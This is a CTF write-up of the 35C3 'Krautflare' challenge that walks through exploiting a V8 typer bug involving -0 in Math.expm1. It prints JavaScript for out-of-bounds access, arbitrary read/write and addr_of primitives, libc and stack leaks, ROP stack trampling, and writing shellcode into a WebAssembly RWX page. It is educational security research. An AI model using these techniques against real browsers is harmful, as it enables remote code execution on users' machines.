Exploiting Chrome V8: Krautflare (35C3 CTF 2018) · Jay Bosamiya


In this challenge, we had to obtain remote code execution, simply by exploiting a 1-day bug that forgot the difference between -0 and +0. This has probably been one of the most difficult, fun, and frustrating bugs I have ever exploited.

As someone who has never exploited a JavaScript engine vulnerability ever before, this challenge was a journey, filled with tons of ups and downs. I had an approximate idea of what might be involved, since I had recently started looking into Chrome V8 to try to find some 0-day vulnerabilities (and I succeeded! more on this in a future blog post), but I had never actually written an exploit ever, so I thought this challenge (which involves writing a 1-day exploit) might be an interesting one to solve, which will help me understand v8 internals much better too.

Some quick stats: 35C3 CTF lasted a total of 48 hours, and this challenge had a total of 3 solves by the end of the CTF. The challenge was thus worth (due to dynamic scoring) 451 points. I spent practically the entire CTF on this challenge (minus a couple of hours of sleep), and solved it ~1.5 hours before the CTF ended.

I have split this writeup into multiple sections. Depending on your level of experience with v8 and this challenge, please feel free to jump ahead (or directly read the annotated exploit code here).

The Challenge

The challenge had the following description:

Krautflare workers are the newest breakthrough in serverless computing. And since we're taking security very seriously, we're even isolating customer workloads from each other!

For our demo, we added an ancient v8 vulnerability to show that it's un-exploitable! See https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 for details. Fortunately, that was the last vulnerability in v8 and our product will be secure from now on.

Files at https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar. Challenge at: nc 35.246.172.142 1

Note: This challenge is hard! It's made for all the people who asked for a hard Chrome pwnable in this survey at https://twitter.com/_tsuro/status/1057676059586560000. Though the bug linked above gives you a rough walkthrough how to exploit it, you'll just have to figure out the details. I hope you paid attention in your compiler lectures :). Good luck, you have been warned!

In case the challenge files are taken down, you can find a copy of the provided challenge files here.

Understanding the Bug

The explanation of the bug on the project zero link is useful. It tells us that the "typer" (which is a part of the v8 JIT) misses the case of -0 when using Math.expm1. If we look at MDN for this function, we see that the functions returns e^x - 1. Since we are working with JavaScript, all numbers are double precision floating point numbers, following the IEEE 754 standard. Within this, there exist two zeros (known as Signed Zeros): +0 and -0. Both act almost exactly the same, except under very specific circumstances. Math.expm1 is one of them. In particular, Math.expm1(+0) == +0 and Math.expm1(-0) == -0. This operation seems to be performed correctly by v8, however, the typer (which is used to perform optimizations) seems to forget this -0 case.

The project zero link lists a simple test case that we can use to quickly verify if the provided d8 binary (which is a standalone executable, which can be used for v8), has the bug. Unfortunately, the bug is not triggered. We'll explore this soon.

We also have a better look around everything else that is provided to us, and while most of it is boilerplate code, it is important to note that the d8 binary provided to us is a release binary, and that will make it difficult to easily to develop an exploit. Thankfully, we are provided a build_v8.sh script, which we can modify and build our own debug version (by simply changing x64.release to x64.debug and running it).

For most of the exploitation from this point forward, I used this newly built debug build, switching back once in a while to check if what I have works as expected even on the release build.

For more background on understanding JIT bugs, especially if you are not used to v8 or other JS engines, I would strongly recommend looking at the Blackhat 2018 talk by Samuel Groß (@5aelo) titled "Attacking Client-Side JIT Compilers".

For more background on the v8 JIT (aka TurboFan), I would recommend reading its docs.

Approximate Plan of Attack

As explained on the project zero link, we will need to use Object.is to differentiate between -0 and +0 once we have triggered the bug. Neither division, nor Math.atan2 are going to be useful for us. In addition to this, we need to prevent the bug from being triggered in two phases of the compiler pipeline, and then have it triggered in the third phase. In particular, we need to get past the "typer" and "load elimination" phases, and we need to trigger the bug in the "simplified lowering" phase.

Once we have surpassed these issues, we need to ensure that the Object.is becomes into a SameValue node, instead of a ObjectIsMinusZero node, in addition to making sure that the value passed into this comes from a Call node, rather than a FloatExpm1 node.

Once we have surpassed these issues, the (wrong) type can be used to perform a bounds check elimination. This means that a CheckBounds node that exists before an array access would be removed, and we obtain an Out-of-Bounds Read/Write (OOB RW) primitive. Following this, we use it to obtain an Arbitrary Read/Write (Arb RW) primitive, and some "good" memory leaks, which we can then use to somehow manipulate memory and give us a shell.

As for how the somehow would work: in the past, attacking JavaScript Engines was much easier, since they used to have RWX pages, used for JITed functions, where once we had arbitrary read write, we could've simply thrown in our shellcode into a JITed function and then called it. Nowadays, we don't have RWX pages, so we'll need to come up with a way around it.

Setting up Debugging

In order to aid debugging, as mentioned in the previous section, we build a debug build of d8. In addition to this, we also use Turbolizer which will help us visualize the "sea of nodes" graphs that v8 produces during optimization.

For debugging during exploit development, I will also be using gdb with peda (mostly for its telescope command), but with some modifications. These modifications make it easier to work with pointers in v8, which are "tagged pointers" where their least significant bit is set. Since we know that pointers are not used directly but offset by 1, the modifications that I introduced into peda check and reset the least significant bit, before being used for further work in the telescope command.

Another last important debug technique, before we get to triggering the bug is v8 natives syntax. These are functions that begin with %, and the two important ones we'll be using are %OptimizeFunctionOnNextCall and %DebugPrint, both of which do exactly what they say they do.

Triggering the Bug

Now with all the important basics out of the way, how do we trigger this bug?

The answer lies in the patch files that are provided to us. In particular revert-bugfix-880207.patch shows that rather than reverting both the changes in operation-typer.cc and typer.cc, only the changes in typer.cc have been reverted. However, along with this, quite helpfully, a regression unit test has also been reverted. We can use this unit test.

Side note: The chromium bug tracker link which is linked from the project zero link was not accessible during most of the CTF, and was derestricted (if I remember correctly) closer to the second day of the CTF. It confirms that the bug was fixed in two parts (see Comment #8), and here, only the second part is reverted for this challenge.

Back to triggering the bug. We use the provided regression test to first check if the provided d8 and debug d8 actually work on this test. We don't want to depend on mjsunit.js. So, we remove the fluff that isn't "standard" JS or an optimization native, and check, if we can trigger it. Fortunately, we can, with the following code:

function f(x) { return Object.is(Math.expm1(x), -0);
} function g() { return f(-0);
} f(0);
// Compile function optimistically for numbers (with fast inlined
// path for Math.expm1).
%OptimizeFunctionOnNextCall(f);
// Invalidate the optimistic assumption, deopting and marking non-number
// input feedback in the call IC.
f("0");
// Optimize again, now with non-lowered call to Math.expm1.
console.log(g());
%OptimizeFunctionOnNextCall(g);
console.log(g()); // returns: false. expected: true.

Using Turbolizer (described in the previous section), we can now start to work on triggering this bug at the correct phase ("simplified lowering").

Noticing that the phase that lies between "load elimination" (where we do not want the bug to be triggered yet) and "simplified lowering" (where we want bug to be triggered) phases, there lies the "escape analysis" phase. Clearly, we need to perform some manipulations at this phase in order to "hide" the bug from the optimizer before, and then "reveal" after.

There's a great talk by Tobias Ebbi titled "Escape Analysis in v8", that was super useful in understanding the complexities involved in escape analysis. Thankfully, we don't need to worry about most of it. We can simply use the intuition that if an object does not escape, and this is "easy" for v8 to prove, then it will convert the object's members into local variables instead.

With this idea in mind, I tried to mess around with objects until I was able to get something to work, which would not trigger on the first two relevant phases, and would trigger on the 3rd. Unfortunately, I wasted a bunch of time due to not being able to see feedback types from simplified lowering in Turbolizer. If someone has a good way to have these show up, please do let me know :) However, I finally started to use the --trace-representation flag (thereby my whole d8 command was ./d8 --allow-natives-syntax --trace-representation --trace-turbo-graph --trace-turbo-path /tmp/out --trace-turbo) which allowed me to see feedback types at the terminal. Using these, I could now figure out whether I was triggering the bug at the right point, and turns out I had figured it out a while ago: it just wasn't showing up in Turbolizer (since that was showing types, and not the feedback types, which "simplified lowering" uses).

The final code used for triggering the bug, exactly in the phase we wanted (with a minor change to force it to be an integer, which will be useful in the next stages of writing this exploit):

function _auxiliary_(x) { var a = {zz : Math.expm1(x), yy : -0}; a.yy = Object.is(a.zz, a.yy); return a.yy;
} function trigger() { var a = { z : 1.2 }; a.z = _auxiliary_(-0); return (a.z + 0); // Real: 1, Feedback type: Range(0, 0)
} _auxiliary_(0);
%OptimizeFunctionOnNextCall(_auxiliary_);
_auxiliary_("0"); trigger();
%OptimizeFunctionOnNextCall(trigger);
trigger();

Escalating to an OOB RW

Once we have the bug triggering as expected, we have to now start to abuse this. The plan was to add an array of floats, and use this mismatched value in order to have the value at some x which is outside the array, but have the optimizer think that we are indexing from 0. This way, the optimizer would eliminate the CheckBounds node, and we'll have an OOB RW primitive.

Unfortunately, this is easier said than done. Due to the nature of this bug, and the method I was using to ensure it stays a Call node, the "inlining" phase (in particular, JSNativeContextSpecialization which runs during that phase) splits the CheckBounds node into CheckBounds and NumberLessThan nodes. The "real" length check now happens at the NumberLessThan, and unfortunately, the "simplified lowering" phase does not propagate feedback types along NumberLessThan nodes.

This had me stumped for a while, and I kept trying various different alternative ways of calling things, and also read through a lot of the v8 code base, trying to understand how to prevent this from happening.

I finally stumbled upon this (basically, it required having both functions take and pass the same arguments):

function _auxiliary_(minusZero, isstring) { let aux_x = minusZero ? -0 : (isstring ? "0" : 0); let aux_a = {aux_z : Math.expm1(aux_x), aux_y : -0}; aux_a.aux_y = Object.is(aux_a.aux_z, aux_a.aux_y); return aux_a.aux_y;
} function trigger(minusZero, isstring) { let a = { z : 1.2 }; a.z = _auxiliary_(minusZero, isstring); let i = a.z + 0; // Real: 1, Feedback type: Range(0, 0) i &= 1; // feedback: 0 i *= 6; // feedback: 0 let arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; return arr[i];
} console.log(trigger(false, false)); %OptimizeFunctionOnNextCall(trigger);
console.log(trigger(false, true)); %OptimizeFunctionOnNextCall(trigger);
console.log(trigger(true));

I don't think I have ever been this happy to see a number as large as -1.1885946300594787e+148 in my life :D

Unfortunately, triggering this bug had been extremely difficult, and it was fragile, so I decided to spend some time working on stabilizing this, and making it easier to do OOB RWs.

Stabilized OOB RW

The initial idea for this is to take a "short" array, use the bug to overwrite its length, and then provide this new array to the "outside world". This way, later stages of the exploit can easily perform out-of-bounds accesses without needing to trigger the original finicky bug again.

In order to perform this stabilization, we need to introduce 2 arrays, use the first to overwrite the length of the second. In particular, we will set the length of the second array to 1024 * 1024 so that we definitely have enough to overwrite whatever we want.

Since we need to work with conversions between floats and integers, I copied the following code from Google CTF 2018's "Just In Time" challenge:

let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() { return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0];
}
BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0];
}
Number.prototype.f2i = function() { float_view[0] = this; return int_view[0];
}
Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n;
}
Number.prototype.i2f = function() { return BigInt(this).i2f();
}
Number.prototype.smi2f = function() { return BigInt(this).smi2f();
}

We can now implement our idea. Since the code had started to get a little more complex, I also started to add in some small test cases that will help me figure out if things were going fine or wrong.

let oob_rw_buffer = undefined; function trigger(minusZero, isstring) { // The arrays we shall target let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1]; let b = [1.1, 1.2, 1.3, 1.4, 1.5]; // Trigger the actual bug let aux_a = { aux_z : 1.2 }; aux_a.aux_z = _auxiliary_(minusZero, isstring); let i = aux_a.aux_z + 0; // Real: 1, Feedback type: Range(0, 0) // Move over to the length field for `b` i *= 16; // feedback: 0 // Change the length to 1024 * 1024 a[i] = (1024*1024).smi2f(); // Expose OOB RW buffer to outside world, for stage 1 oob_rw_buffer = b; return a[i + 1];
} if (trigger(false, false) != 1.1) { throw "[FAIL] Unexpected return value in unoptimized trigger";
} %OptimizeFunctionOnNextCall(trigger);
if (trigger(false, true) != 1.1) { throw "[FAIL] Unexpected return value in first-level optimized trigger";
} %OptimizeFunctionOnNextCall(trigger);
if (trigger(true) == undefined) { throw "[FAIL] Unable to trigger bug"
}
if ( oob_rw_buffer.length < 1024 ) { throw "[FAIL] Triggered bug, but didn't update length of OOB RW buffer";
}

It was at this point that I noticed that from this point forward, I would, for the most part, be unable to use the debug build. The reason for this is that performing an OOB RW using oob_rw_buffer caused a dynamic debug-time check. Thus, I switched over to using the release build from this point forward. I did temporarily switch back to the debug build from time to time, in order to better obtain offsets for exploitation, but otherwise, I relied almost entirely on the release build.

Powerful Primitives

Now that we have an OOB RW primitive, we can start to craft more useful primitives, namely arb_read, arb_write, and addr_of:

  • arb_read(addr): Reads 8 bytes from addr and returns as a BigInt.
  • arb_write(addr, value): Writes the 8-byte BigInt value to addr.
  • addr_of(o): Returns the address of the object o. This should give the same value as what %DebugPrint returns.

Unfortunately, in order to design these primitives, we are going to need to modify the trigger function above one last time. This is because we need to introduce two more arrays that should be allocated immediately after oob_rw_buffer, and then use those to give us the primitives we need.

Modified trigger:

let oob_buffer = undefined;
let oob_buffer_unpacked = undefined;
let oob_buffer_packed = undefined; function trigger(minusZero, isstring) { // The arrays we shall target let a = [0.1, 0.1, 0.1, 0.1, 0.1, 0.1]; let b = [1.1, 1.2, 1.3, 1.4, 1.5]; let c = [{}, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8]; let d = [3.1, 3.2, 3.3, 3.4]; // Trigger the actual bug let aux_a = { aux_z : 1.2 }; aux_a.aux_z = _auxiliary_(minusZero, isstring); let i = aux_a.aux_z + 0; // Real: 1, Feedback type: Range(0, 0) // Change `b.length` to 1024 * 1024 a[i * 16] = (1024*1024).smi2f(); // Expose OOB RW buffer to outside world, for stage 1 oob_buffer = b; oob_buffer_unpacked = c; oob_buffer_packed = d; return i == 0 ? 'untriggered' : a[i];
}

Now, we have a set of 3 buffers that we can use to provide the exact primitives we need:

  • oob_buffer: This is the attacked array, which provides us with the ability to perform oob rw
  • oob_buffer_unpacked: This array consists of tagged pointers and unpacked floats. This will be used to give us the addr_of primitive.
  • oob_buffer_packed: This array consists of packed floats. This will be used to provide our arb_read and arb_write primitives.

What is this "packed" and "unpacked"? As a memory optimization, v8 stores an array consisting only of floats as a "packed" float array. This means that all the floats lie contiguously. This is in comparison to the unpacked form, which is used whenever there is at least 1 non-float in the array. In this case, objects are stored as tagged pointers, and the floats are stored in "boxed" form.

With these now, we can define our primitives, which are got simply by accessing the elements of the two latter buffers.

const RW_OFFSET = 38;
const ADDR_OFFSET = 18;
const BACKING_POINTER_OFFSET = 15n;
const leaked_addr_backing = oob_buffer[RW_OFFSET].f2i() + BACKING_POINTER_OFFSET; function arb_read(addr) { let old = oob_buffer[RW_OFFSET]; oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f(); r = oob_buffer_packed[0].f2i(); oob_buffer[RW_OFFSET] = old; return r;
} function arb_write(addr, val) { let old = oob_buffer[RW_OFFSET]; oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f(); oob_buffer_packed[0] = val.i2f(); oob_buffer[RW_OFFSET] = old;
} function addr_of(o) { let old = oob_buffer_unpacked[0]; oob_buffer_unpacked[0] = o; let r = oob_buffer[ADDR_OFFSET].f2i(); oob_buffer_unpacked[0] = old; return r;
}

We also write some tests to help ensure that things work smoothly as we move on to the next stages (you can find these in the final exploit file).

Crafting an Attack

With the powerful primitives that we now have access to, we can easily trample over whatever memory we want/need.

It was this point forward, that a lot of time was spent chasing after leads that led to almost nowhere. I have skipped most of the details of these, but what follows is a short summary, before I get to the solution after Hours of Pain!, during A New Hope.

The first thing that I did was to try to obtain the location of D8_BASE (i.e., find the start of the first page of the d8 executable). The code below was written after spending a whole bunch of time trying to stabilize this.

function calc_d8_addr() { let a = LEAKED_ADDR; a &= ~(0xffffn); // Go to start of page a = arb_read(a + 24n); // Dereference start+8 a = arb_read(a); // Deref that a = arb_read(a); // And now we are in d8 a &= ~(0x7fffn); // Go near start of page a -= 0x600000n; // Go nearer to start of page for(var x = 0; x < 0x20000; x += 0x1000) { if (arb_read(a - BigInt(x)) == 0x00010102464c457f) { // console.log(x.toString(16)); return (a - BigInt(x)); } } throw "[FAIL] Could not find valid d8 base";
}
const D8_BASE = calc_d8_addr();
if (arb_read(D8_BASE) != 0x00010102464c457f) { throw "[FAIL] D8_BASE is unstable"
}
if (arb_read(D8_BASE + 0x606000n) != 0x89485ed18949ed31n) { throw "[FAIL] Can't find correct R_X page from D8_BASE"
}
console.log(" + Obtained D8_BASE = " + D8_BASE.hex());

With D8_BASE, I could obtain LIBC_BASE:

const libc_fputc = arb_read(D8_BASE + 0x115eb48n);
const libc_printf = arb_read(D8_BASE + 0x115eb68n);
const libc_puts = arb_read(D8_BASE + 0x115eb58n);
const libc_base = libc_fputc - FPUTC_OFFSET;
if ( libc_base + PRINTF_OFFSET != libc_printf ) { throw "[FAIL] Unknown libc";
}
if ( libc_base + PUTS_OFFSET != libc_puts ) { throw "[FAIL] libc is messing with me";
}
console.log(" + libc_base: " + libc_base.hex());

... and thus, we could leak a stack address:

const libc_environ = libc_base + ENVIRON_OFFSET;
const stack_leak = arb_read(libc_environ);

Now, the plan was clear (or so I thought): write a ROP chain, and trample over the stack backwards until we hit a RETsled, that jumps to our ROP chain. Then, we've got shell, and we've got the flag. Easy-peasy, right? Nope, so damn wrong.

Finally, shell! Or is it?

At this point, I created a ROP chain for an execve shell, using ropper on d8. I also added code to start trampling over the stack:

let cur_pos = stack_leak - 8n * BigInt(ROPCHAIN.length);
for (var i = 0 ; i < ROPCHAIN.length ; ++i) { arb_write(cur_pos + 8n * BigInt(i), ROPCHAIN[i]);
}
for (var i = 0 ; i < TRAMPLE_MAX ; ++i) { // console.log(i); cur_pos -= 8n; arb_write(cur_pos, RET );
}

After spending tons of time in the debugger, I was finally able to figure out that setting TRAMPLE_MAX to 17 worked, and I finally got a shell!!! While this was a local shell on my own machine, I had been using the same binary as the server, so I thought: what could be so different? Of course, I was accounting for differences in offsets between server and my machine, but I couldn't be more wrong.

On a side note: this exploit works with relatively high reliability. It fails once out of every 10~20 runs, but otherwise it works brilliantly. Also, I had switched over to a manually written ROP chain using libc. This version of the exploit can be found here.

I used the prettydiff minifier to minify my code, as the server accepted only one line, and sent it over. No shell. Just a stack smash. Now began the many many hours of pain.

Hours of Pain!

I now had a valid exploit, and I was able to get a local shell, even with the minimized version (thus showing that minifier wasn't doing something wrong). I also had the shell work with high reliability, so after doing a couple of dozen tests on the server, I knew that it wasn't a reliability issue. Maybe it was a difference in offsets?

They had provided a Dockerfile along with the challenge, and it used tsuro/nsjail. This is what I had used to obtain the libc in order to get its offsets, but I could now use this to debug why things were failing. Unfortunately, the Dockerfile cannot be used out of the box. Instead, it requires some other correct set up. I was too tired to figure that out, so I just simply spun up tsuro/nsjail, believing that the rest of the stuff was just fluff to prevent things from staying up too long, and adding in proof-of-work, etc.

I was able to have the exploit run stably inside the docker container, so that felt odd. I was too sleep deprived to think all that clearly, but soon, I realized that the server was using worker.js which I was not. I quickly added a modified worker.js so that I would not need to always paste/pipe in my exploit (basically by replacing a readline with a read from file).

After some tinkering around, my exploit worked! I sent it over to the server, and nope, nothing. I tried again, and nothing.

After spending a bunch more time, I realized that the readline was messing with me, and I was unable to get the shell unless I used the --allow-natives-syntax flag (which btw, I had already replaced the %OptimizeFunctionOnNextCalls with loops, in order to not require natives), but for some reason, adding that flag made the stack amenable to give me a shell.

From this point onwards, it was pure agony, and I tried a whole bunch of different things. These included trying to one-gadget it, using a JITted function, or using a random function pointer, etc. Since full RELRO was enabled, I couldn't overwrite the GOT. Ricky provided tons of ideas at this point, and I'd tried a whole bunch, but none worked out. It didn't help that the exact scenario that I was in, I could not directly have the bug triggered inside GDB, and outside GDB, if I triggered it and obtained a core dump, when I tried to analyze it, GDB itself crashed and gave a core dump.

I was about to give up. I didn't have a flag, but I at least got a shell locally, and that was a big win for me, personally, and I was also extremely sleepy at this point.

A New Hope

I announced my intentions of giving in to sleep on our team Slack, and Ricky asked me to take another closer look at one of his suggestions: looking at WebAssembly (aka Wasm). Due to the addition of Wasm support to v8 (over the past couple of years), we can write JS code to call out to functions written in Wasm. In order to optimize Wasm code, v8 compiles that to native code as well. Ricky indicated that it might be possible that this compilation might lead to the creation of an RWX page that we might be able to use for our exploits.

I had tried this out earlier, and had been unable to really use it (i.e., I had been unable to trigger the creation of an RWX page), but just to make sure that I had done things right, I opened up a new text editor, and wrote down some JS code to initialize and execute some Wasm code. The only goal of introducing Wasm into our exploit is to introduce an RWX page that we can then use.

Running this and checking vmmap using peda, I realized that we had introduced an RWX page (!)

From this point forward, there is a "new" (or ancient) path to shell that I can see: write shellcode to the RWX region, and then directly execute it. I was no longer sleepy :D

Flag!

Now that I could see a new approach to getting a shell, I was re-energized. I started to look for "paths" from known functions/variables to the RWX page. Fortunately, I found one that seemed stable, even on the server, and I was able to obtain a pointer to a function that I could execute.

At this point, all that remained was to actually add in some shellcode (taken from shell-storm), and I'd have shell.

The final exploit consisted of initializing wasm, in order to obtain an rwx_page_addr and a wasm_func that when run, would execute the core at the address obtained.

let wasm_buffer = new ArrayBuffer(wasm_simple.length);
const wasm_buf8 = new Uint8Array(wasm_buffer);
for (var i = 0 ; i < wasm_simple.length ; ++i) { wasm_buf8[i] = wasm_simple[i];
} let rwx_page_addr = undefined; var wasm_importObject = { imports: { imported_func: function(arg) { // wasm_function -> shared_info -> mapped_pointer -> start_of_rwx_space let a = addr_of(wasm_func); a -= 1n; a += 0x18n; a = arb_read(a); a -= 0x91n; a = arb_read(a); rwx_page_addr = a; console.log(" + rwx_page_addr = " + rwx_page_addr.hex()); stages_after_wasm(); } }
}; async function wasm_trigger() { let result = await WebAssembly.instantiate(wasm_buffer, wasm_importObject); return result;
} let wasm_func = undefined; wasm_trigger().then(r => { f = r.instance.exports.exported_func; wasm_func = f; f(); });

Once we had these, it was a simple matter of throwing in, and executing the shellcode:

function stages_after_wasm() { for (var i = 0 ; i < shellcode.length ; ++i ) { let a = rwx_page_addr + (BigInt(i) * 8n); arb_write(a, shellcode[i]); } wasm_func();
}

And there we have it, a shell! Since this no longer relied on the stack, it was a much more stable exploit, and I was able to run it on the server, and obtain the flag: 35C3_this_bug_was_a_minus_zero_day. Quite a fitting flag, won't you say?

Concluding Remarks

This challenge was super fun and interesting. I learnt a lot along the way, even though I was frustrated at times, especially due to the stack issues at the end. On a discussion with Stephen after I had got the flag, he said that he too had to get around the weird stack issue, but he'd done it by overwriting free_hook with system, and then calling console.log with sh. That definitely was an awesome solution as well, and one that I will keep in mind for the future.

Acknowledgements

Massive thanks to Ricky who gave massive moral support and kept throwing in ideas when I was about to give up, after I'd been facing those stack issues. Also, mad props to Stephen for finding this bug, and having this as a challenge in 35c3. Thanks to Carolina for reviewing this writeup and providing some super helpful suggestions.

More on V8 exploitation

Coming soon: a writeup on a 0-day that I found in v8. Follow me on Twitter to know when I release a new blog post, and more. Or alternatively, RSS!